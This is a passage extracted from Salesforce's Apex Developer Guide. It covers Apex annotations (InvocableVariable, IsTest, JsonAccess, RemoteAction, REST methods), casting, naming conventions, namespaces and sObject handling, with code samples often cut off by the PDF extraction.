global ID opportunityId;
}
100
Apex Developer Guide Classes, Objects, and Interfaces
This code sample shows an invocable method with invocable variables that have the generic sObject data type.
public with sharing class GetFirstFromCollection {
@InvocableMethod
public static List <Results> execute (List<Requests> requestList) {
List<SObject> inputCollection = requestList[0].inputCollection;
SObject outputMember = inputCollection[0];
Supported Modifiers
All modifiers are optional.
Tip: Default values, labels, and placeholder text appear in Flow Builder for the Action element that corresponds to an invocable
method. These modifiers help admins understand how to use variables in the flow.
defaultValue
Provide a vaule to the action at runtime, if no value is provided then these default values are provided to the action at runtime.
Valid invocable variable data types are:
• Boolean - fields must have a value of 'true' or 'false' and case-insensitive.
@InvocableVariable(defaultValue='true')
public Boolean myBoolean;
• Decimal - fields must have a value of 'validDecimalValue' where the floating point value can’t have a suffix.
@InvocableVariable(defaultValue='123.4')
public Decimal myDecimal;
101
Apex Developer Guide Classes, Objects, and Interfaces
• Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.
@InvocableVariable(defaultValue='867.3D')
public Double myDouble;
• Integer - fields must have a value of 'validIntegerValue' where the inter value can’t have a suffix.
@InvocableVariable(defaultValue='-214')
public Integer myInteger;
• Long - fields must have a value of 'validLongValue' where the l suffix is required and case-insensitive.
@InvocableVariable(defaultValue='922337L')
public Long myLong;
• String - fields can use any valid string value including the empty string.
@InvocableVariable(defaultValue='hello world!')
public String myString;
description
The description for the variable. The default is Null.
label
The label for the variable. The default is the variable name.
placeholderText
Provides examples or additional guidance about the invocable variable, such as examples of values that can set the invocable variable.
Valid invocable variable data types are:
• Double - fields must have a value of 'validDoubleValue' where the d suffix is required and case-insensitive.
• Integer - fields must have a value of 'validIntegerValue' where the inter value can’t have a suffix.
• String - fields can use any valid string value including the empty string.
required
Specifies whether the variable is required. If not specified, the default is false. The value is ignored for output variables.
Note: The defaultValue modifier throws an error when used with required.
Example: The invocable variable annotation supports the modifiers shown in this example.
@InvocableVariable(label='yourLabel'
description='yourDescription' placeholderText='yourPlaceholderText'
required=(true | false))
@InvocableVariable(defaultValue='yourDefaultValue')
global String createOpportunity;
InvocableVariable Considerations
• Other annotations can’t be used with the InvocableVariable annotation.
• Only global and public variables can be invocable variables.
• The invocable variable can’t be any of these:
102
Apex Developer Guide Classes, Objects, and Interfaces
• The invocable variable name in Apex must match the name in the flow. The name is case-sensitive.
• For managed packages:
– Public invocable variables can be set in flows and processes within the same managed package.
– Global invocable variables can be set anywhere in the subscriber org. Only global invocable variables appear in Flow Builder and
Process Builder in the subscriber org.
SEE ALSO:
Apex Developer Guide: InvocableMethod Annotation
Apex Reference Guide: Action Class
IsTest Annotation
Use the @IsTest annotation to define classes and methods that only contain code used for testing your application. The annotation
can take multiple modifiers within parentheses and separated by blanks.
Note: The @IsTest annotation on methods is equivalent to the testMethod keyword. As best practice, Salesforce
recommends that you use @IsTest rather than testMethod. The testMethod keyword may be versioned out in a future
release.
Classes and methods that are defined as @IsTest can be either private or public. Classes defined as @IsTest must be
top-level classes.
Note: Classes defined with the @IsTest annotation don't count against your organization limit of 6 MB for all Apex code.
Here’s an example of a private test class that contains two test methods.
@IsTest
private class MyTestClass {
@IsTest
static void test2() {
// Implement test code
}
103
Apex Developer Guide Classes, Objects, and Interfaces
Here’s an example of a public test class that contains utility methods for test data creation:
@IsTest
public class TestUtil {
@IsTest(SeeAllData=true) Annotation
For Apex code saved using Salesforce API version 24.0 and later, use the @IsTest(SeeAllData=true) annotation to grant test
classes and individual test methods access to all data in the organization. The access includes pre-existing data that the test didn’t create.
Starting with Apex code saved using Salesforce API version 24.0, test methods don’t have access to pre-existing data in the organization.
However, test code saved against Salesforce API version 23.0 and earlier continues to have access to all data in the organization. See
Isolation of Test Data from Organization Data in Unit Tests on page 685.
Considerations for the @IsTest(SeeAllData=true) Annotation
• If a test class is defined with the @IsTest(SeeAllData=true) annotation, the SeeAllData=true applies to all
test methods that don’t explicitly set the SeeAllData keyword.
• The @IsTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, if the containing class has been annotated with @IsTest(SeeAllData=true), annotating a method with
@IsTest(SeeAllData=false) is ignored for that method. In this case, that method still has access to all the data in
the organization. Annotating a method with @IsTest(SeeAllData=true) overrides, for that method, an
@IsTest(SeeAllData=false) annotation on the class.
• @IsTest(SeeAllData=true) and @IsTest(IsParallel=true) annotations can’t be used together on the
same Apex method.
This example shows how to define a test class with the @IsTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@IsTest(SeeAllData=true)
public class TestDataAccessClass {
104
Apex Developer Guide Classes, Objects, and Interfaces
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @IsTest(SeeAllData=true).
@IsTest
static void myTestMethod2() {
// Can access all data in the organization.
}
This second example shows how to apply the @IsTest(SeeAllData=true) annotation on a test method. Because the test
method’s class isn’t annotated, you have to annotate the method to enable access to all data for the method. The second test method
doesn’t have this annotation, so it can access only the data it creates. In addition, it can access objects that are used to manage your
organization, such as users.
// This class contains test methods with different data access levels.
@IsTest
private class ClassWithDifferentDataAccess {
105
Apex Developer Guide Classes, Objects, and Interfaces
@IsTest(OnInstall=true) Annotation
Use the @IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are part of
a test class that has this annotation, are executed during package installation. Tests annotated to run during package installation must
pass in order for the package installation to succeed. It’s no longer possible to bypass a failing test during package installation. A test
method or a class that doesn't have this annotation, or that is annotated with @IsTest(OnInstall=false) or @IsTest, isn’t
executed during installation.
Tests annotated with IsTest(OnInstall=true) that run during package install and upgrade aren’t counted towards code
coverage. However, code coverage is tracked and counted during a package creation operation. Because Apex code installed from a
managed package is excluded from org level requirements for code coverage, it’s unlikely that you’re affected. But, if you track managed
package test coverage, you must rerun these tests outside of the package install or upgrade operation for code coverage statistics to be
updated. Package install isn’t blocked by code coverage requirements.
This example shows how to annotate a test method that is executed during package installation. In this example, test1 is executed
but test2 and test3 isn’t.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@IsTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@IsTest(OnInstall=true)
static void test1() {
// Some test code
}
@IsTest
static void test2() {
// Some test code
}
@IsTest
static void test3() {
// Some test code
}
}
106
Apex Developer Guide Classes, Objects, and Interfaces
@IsTest(IsParallel=true) Annotation
Use the @IsTest(IsParallel=true) annotation to indicate test classes that can run in parallel.
Considerations for the @IsTest(IsParallel=true) annotation
• This annotation forces the test to run in parallel even if the org-wide Disable Parallel Apex Testing option is
set.
• @IsTest(SeeAllData=true) and @IsTest(IsParallel=true) annotations can’t be used together on the
same Apex method.
Restrictions on Apex tests using the @IsTest(IsParallel=true) annotation
• Tests can’t call the Test.getStandardPricebookId()method.
• Tests can’t call the System.schedule() and System.enqueueJob() methods.
• Tests can’t insert a ContentNote SObject.
• Tests can’t create User or GroupMember SObjects.
• Tests can’t use the SObjects that are listed in sObjects That Can't Be Used Together in DML Operations.
JsonAccess Annotation
The @JsonAccess annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized. If
the annotation restricts the JSON or XML serialization and deserialization, a runtime JSONException exception is thrown.
The serializable and deserializable parameters of the @JsonAccess annotation enforce the contexts in which Apex
allows serialization and deserialization. You can specify one or both parameters, but you can’t specify the annotation with no parameters.
The valid values for the parameters to indicate whether serialization and deserialization are allowed:
• never: never allowed
• sameNamespace: allowed only for Apex code in the same namespace
• samePackage: allowed only for Apex code in the same package (impacts only second-generation packages)
• always: always allowed for any Apex code
This example code shows an Apex class marked with the @JsonAccess annotation.
// SomeSerializableClass is serializable in the same package and deserializable in the
wider namespace
@JsonAccess(serializable='samePackage' deserializable='sameNamespace')
public class SomeSerializableClass { }
@JsonAccess(deserializable='always')
public class AlwaysDeserializable { }
JsonAccess Considerations
• If an Apex class annotated with JsonAccess is extended, the extended class doesn’t inherit this property.
• If the toString method is applied on objects that mustn't be serialized, private data can be exposed. You must override the
toString method on objects whose data must be protected. For example, serializing an object stored as a key in a Map invokes
the toString method. The generated map includes key (string) and value entries, thus exposing all the fields of the object.
107
Apex Developer Guide Classes, Objects, and Interfaces
NamespaceAccessible Annotation
The @NamespaceAccessible makes public Apex in a package available to other packages that use the same namespace. Without
this annotation, Apex classes, methods, interfaces, properties, and abstract classes defined in a 2GP package aren’t accessible to the
other packages with which they share a namespace. Apex that is declared global is always available across all namespaces, and needs
no annotation.
For more information on 2GP managed packages, see Second-Generation Managed Packages in Salesforce DX Developer Guide.
Considerations for Apex Accessibility Across Packages
• You can't use the @NamespaceAccessible annotation for an @AuraEnabled Apex method.
• You can add or remove the @NamespaceAccessible annotation at any time, even on managed and released Apex code.
Make sure that you don’t have dependent packages relying on the functionality of the annotation before adding or removing it.
• When adding or removing @NamespaceAccessible Apex from a package, consider the impact to customers with installed
versions of other packages that reference this package’s annotation. Before pushing a package upgrade, ensure that no customer
is running a package version that would fail to fully compile when the upgrade is pushed.
• If a public interface is declared as @NamespaceAccessible, then all interface members inherit the annotation. Individual
interface members can’t be annotated with @NamespaceAccessible.
• If a public or protected variable or method is declared as @NamespaceAccessible, its defining class must be either global or
public with the @NamespaceAccessible annotation.
• If a public or protected inner class is declared as @NamespaceAccessible, its enclosing class must be either global or public
with the @NamespaceAccessible annotation.
This example shows an Apex class marked with the @NamespaceAccessible annotation. The class is accessible to other packages
within the same namespace. The first constructor is also visible within the namespace, but the second constructor isn’t.
// A namespace-visible Apex class
@NamespaceAccessible
public class MyClass {
private Boolean bypassFLS;
108
Apex Developer Guide Classes, Objects, and Interfaces
}
}
ReadOnly Annotation
The @ReadOnly annotation allows you to perform less restrictive queries against the Lightning Platform database by increasing the
limit of the number of returned rows for a request to 1,000,000. All other limits still apply. The annotation blocks the following operations
within the request: DML operations, calls to System.schedule, and enqueued asynchronous Apex jobs.
The @ReadOnly annotation is available for REST and SOAP Web services and the Schedulable interface. To use the @ReadOnly
annotation, the top-level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page
calls a Web service that contains the @ReadOnly annotation, the request fails because Visualforce is the top-level request, not the
Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods run with the same relaxed
restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration component like
<apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For more information,
see Working with Large Sets of Data in the Visualforce Developer's Guide.
RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This process is
often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.
Add the Apex class as a custom controller or a controller extension to your page.
<apex:page controller="MyController" extension="MyExtension">
Warning: Adding a controller or controller extension grants access to all @RemoteAction methods in that Apex class, even
if those methods aren’t used in the page. Anyone who can view the page can execute all @RemoteAction methods and
provide fake or malicious data to the controller.
Then, add the request as a JavaScript function call. A simple JavaScript remoting invocation takes the following form.
[namespace.]MyController.method(
[parameters...,]
109
Apex Developer Guide Classes, Objects, and Interfaces
callbackFunction,
[configuration]
);
callbackFunction The name of the JavaScript function that handles the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration Configures the handling of the remote call and response. Use this element to change the behavior
of a remoting call, such as whether to escape the Apex method’s response.
In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }
SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third-party tools.
The @SuppressWarnings annotation does nothing in Apex but can be used to provide information to third-party tools.
TestSetup Annotation
Methods defined with the @TestSetup annotation are used for creating common test records that are available for all test methods
in the class.
110
Apex Developer Guide Classes, Objects, and Interfaces
Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@TestSetup static void methodName() {
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.
Note: You can have only one test setup method per test class.
Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access
to organization data by using the @IsTest(SeeAllData=true) annotation, test setup methods aren’t supported in this class.
Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
For more information, see Using Test Setup Methods.
TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the test
class. These members include methods, member variables, and inner classes. This annotation enables a more permissive access level
for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you want to
access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes but it must be
accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
}
}
This test class uses the previous class and contains the test method that accesses the annotated member variable and method.
@IsTest
private class TestVisibleExampleTest {
@IsTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
111
Apex Developer Guide Classes, Objects, and Interfaces
}
}
RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
Some considerations when using this annotation:
• The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
• The URL mapping can contain a wildcard (*).
• The URL mapping is case-sensitive. For example, a URL mapping for my_url matches a REST resource containing my_url and
not My_Url.
• To use this annotation, your Apex class must be defined as global.
URL Guidelines
URL path mappings are as follows:
• The path must begin with a forward slash (/).
• The path can be up to 255 characters long.
• A wildcard (*) that appears in a path must be preceded by a forward slash (/). Additionally, unless the wildcard is the last character
in the path, it must be followed by a forward slash (/).
The rules for mapping URLs are:
• An exact match always wins.
• If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length) of those.
• If no wildcard match is found, an HTTP response status code 404 is returned.
The URL for a namespaced class contains the namespace. For example, if your class is in namespace abc and the class is mapped to
your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.
HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP DELETE request is sent, and deletes the specified resource.
112
Apex Developer Guide Classes, Objects, and Interfaces
To use this annotation, your Apex method must be defined as global static.
HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
• To use this annotation, your Apex method must be defined as global static.
• Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.
HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PATCH request is sent, and updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.
HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method
is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.
In the following code segment, a custom report object is first added to a list of report objects. Then the custom report object is returned
as a report object, which is then cast back into a custom report object.
...
// Create a list of report objects
Report[] Reports = new Report[5];
113
Apex Developer Guide Classes, Objects, and Interfaces
Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the
instanceof Keyword on page 84.
114
Apex Developer Guide Classes, Objects, and Interfaces
SEE ALSO:
Using Custom Types in Map Keys and Sets
Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be
assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;
}
}
Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder objects.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of
PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder
subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections
have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map. If the value side of map A can be cast to
the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting
is not valid with the particular map at runtime.
115
Apex Developer Guide Classes, Objects, and Interfaces
• Static methods and variables can only be declared in a top-level class definition, not in an inner class.
• An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance
member variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
• The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in
which it is defined. If you do not specify an access modifier, the method or variable is private.
• Specifying no access modifier for a method or variable and the private access modifier are synonymous.
• The public access modifier means the method or variable can be used by any Apex in this application or namespace.
• The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just
the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of
the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare
the class that contains it as global.
• Methods and classes are final by default.
– The virtual definition modifier allows extension and overrides.
– The override keyword must be used explicitly on methods that override base class methods.
• Methods defined in an interface have the same access modifier (public or global) as the interface.
• Exception classes must extend either exception or another user-defined exception.
– Their names must end with the word exception.
– Exception classes have four implicit constructors that are built-in, although you can add others.
• Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.
SEE ALSO:
Exceptions in Apex
116
Apex Developer Guide Classes, Objects, and Interfaces
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If
the Apex class references components, such as a custom object, in installed managed packages, the version settings for each
managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true
as long as dependent metadata hasn’t changed since the class was last compiled. If any changes are made to object names or
fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made
to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code
is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox
and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace
just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class,
or trigger.
• To make the search operation case sensitive, select the Match Case option.
• To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow
JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression
group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and
keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.
Go to line ( )
This button allows you to highlight a specified line number. If the line isn’t currently visible, the editor scrolls to that line.
1. Naming Conventions
2. Name Shadowing
117
Apex Developer Guide Classes, Objects, and Interfaces
Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and
variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same
name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do
not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.
SEE ALSO:
Variables
Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors of the
standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}
Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes
are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access
to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference
to P first.
Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S. References
to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside
that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;
Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed AppExchange packages
to differentiate custom object and field names from names used by other organizations.
Important: When creating a namespace, use something that’s useful and informative to users. However, don’t name a namespace
after a person (for example, by using a person's name, nickname, or private information). Once namespaces are assigned, they
cannot be changed.
118
Apex Developer Guide Classes, Objects, and Interfaces
After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom
object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c
These fully qualified names can be onerous to update in working SOQL or SOSL statements, and Apex once a class is marked as “managed”.
Therefore, Apex supports a default namespace for schema names. When looking at identifiers, the parser assumes that the namespace
of the current object is the namespace of all other objects and fields unless otherwise specified. Therefore, a stored class must refer to
custom object and field names directly (using obj_or_field_name__c) for those objects that are defined within its same
application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to
your organization from the AppExchange.
namespace_prefix.class.method(args)
And:
Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();
119
Apex Developer Guide Classes, Objects, and Interfaces
Or:
URL.getCurrentRequestUrl();
Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides
methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the class have the
same name in this case. The System.debug('debug message'); and System.System.debug('debug
message'); statements are equivalent.
When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However,
the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The custom Database
class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix
to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System
namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1');
System.debug(acct[0].get('Name'));
SEE ALSO:
Using the Schema Namespace
Schema.DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FSMap = d.fieldSets.getMap();
120
Apex Developer Guide Classes, Objects, and Interfaces
And:
DescribeSObjectResult d = Account.sObjectType.getDescribe();
Map<String, FieldSet> FSMap = d.fieldSets.getMap();
// ...
SEE ALSO:
Using the System Namespace
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name,
name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
121
Apex Developer Guide Classes, Objects, and Interfaces
4. If the third assumption does not hold true, the parser reports an error.
However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other
class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign
keys).
Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields
cannot refer back to Apex expressions.
For instance, if you have the following class:
public class c {
c1 c1 = new c1();
class c1 { c2 c2; }
class c2 { Account a; }
}
122
Apex Developer Guide Classes, Objects, and Interfaces
return insertedIdea;
}
}
123
Apex Developer Guide Classes, Objects, and Interfaces
C2 c2 = new C2();
Idea returnedIdea = c2.insertIdea(i);
// retrieve the new idea
Idea ideaMoreFields = [SELECT title, categories FROM Idea
WHERE Id = :returnedIdea.Id];
SEE ALSO:
Apex Reference Guide: Collator Class
Apex Reference Guide: Comparable Interface
Apex Reference Guide: Comparator Interface
124
Apex Developer Guide Classes, Objects, and Interfaces
Warning: If the object in your map keys or set elements changes after being added to the collection, it won’t be found anymore
because of changed field values.
When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your
class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.
Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It
also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of
which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two
entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the ==
operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like
checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and
adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers {
Integer x,y;
125
Apex Developer Guide Classes, Objects, and Interfaces
return false;
}
for(PairNumbers pn : m.keySet()) {
System.debug('Key: ' + pn);
}
// Create a set
Set<PairNumbers> s1 = new Set<PairNumbers>();
s1.add(p1);
s1.add(p2);
s1.add(p3);
126
Apex Developer Guide Working with Data in Apex
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.
Accessing SObject Fields
Validating sObjects and Fields
sObject Types
An sObject variable represents a row of data and can only be declared in Apex using SOAP API name of the object.
For example:
Account a = new Account();
MyCustomObject__c co = new MyCustomObject__c();
127
Apex Developer Guide Working with Data in Apex
Similar to SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used
in code that processes different types of sObjects.
The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();
You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above
// into a specific account and account variable a
Account a = (Account)s;
// The following generates a runtime error
Contact c = (Contact)s;
Because sObjects work like objects, you can also have the following:
Object obj = s;
// and
a = (Account)obj;
DML operations work on variables declared as the generic sObject data type as well as with regular sObjects.
sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();
Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For
example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');
For information on accessing existing sObjects from the Lightning Platform database, see “SOQL and SOSL Queries” in the SOQL and
SOSL Reference.
Note: The Lightning Platform assigns ID values automatically when an object record is initially inserted to the database for the
first time. For more information see Lists on page 28.
Custom Labels
Custom labels aren’t standard sObjects. You can’t create a new instance of a custom label. You can only access the value of a custom
label using system.label.label_name. For example:
For more information on custom labels, see “Custom Labels” in Salesforce Help.
System-generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime
engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be
changed.
128
Apex Developer Guide Working with Data in Apex
If you use the generic SObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation.
You can set the Id field for Apex code saved using Salesforce API version 27.0 and later). Alternatively, you can use the generic SObject
put and get methods. See SObject Class.
This example shows how you can access the Id field and operations that aren’t allowed on generic SObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
// This is allowed
ID id = s.Id;
// The following line results in an error when you try to save
String x = s.Name;
// This line results in an error when you try to save using API version 26.0 or earlier
s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;
Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person
accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person
account is created.
If you want to perform operations on an SObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');
insert a;
sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];
ID id = s.ID;
Account convertedAccount = (Account)s;
convertedAccount.name = 'Acme2';
update convertedAccount;
Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);
The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted
the generic SObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA {
List<Contact> contacts = new List<Contact>();
List<Lead> leads = new List<Lead>();
List<Account> accounts = new List<Account>();
if (!records.isEmpty()) {
for (Integer i = 0; i < records.size(); i++) {
SObject record = records[i];
if (record.getSObjectType() == Contact.sObjectType) {
contacts.add((Contact) record);
} else if (record.getSObjectType() == Lead.sObjectType){
129
Apex Developer Guide Working with Data in Apex
leads.add((Lead) record);
} else if (record.getSObjectType() == Account.sObjectType) {
accounts.add((Account) record);
}
}
}
}
}
Note: To erase the current value of a field, set the field to null.
If an Apex method takes an SObject parameter, you can use the System.isSet() method to identify the set fields. If you want to unset any
fields to retain their values, first create an SObject instance. Then apply only the fields you want to be part of the DML operation.
This example code shows how SObject fields are identified as set or unset.
Contact nullFirst = new Contact(LastName='Codey', FirstName=null);
System.assertEquals(true, nullFirst.isSet('FirstName'), 'FirstName is set to a literal
value, so it counts as set');
Contact unsetFirst = new Contact(LastName='Astro');
System.assertEquals(false, unsetFirst.isSet('FirstName'), ‘FirstName is not set’);
An expression with SObject fields of type Boolean evaluates to true only if the SObject field is true. If the field is false or null, the expression
evaluates to false. This example code shows an expression that checks if the IsActive field of a Campaign object is null. Because
this expression always evaluates to false, the code in the if statement is never executed.
Campaign cObj= new Campaign();
...
if (cObj.IsActive == null) {
... // IsActive is evaluated to false and this code block is not executed.
}
130
Apex Developer Guide Working with Data in Apex
131
Apex Developer Guide Working with Data in Apex
This example is a modified version of the previous example that doesn't hit the governor limit. The DML operation is performed in bulk
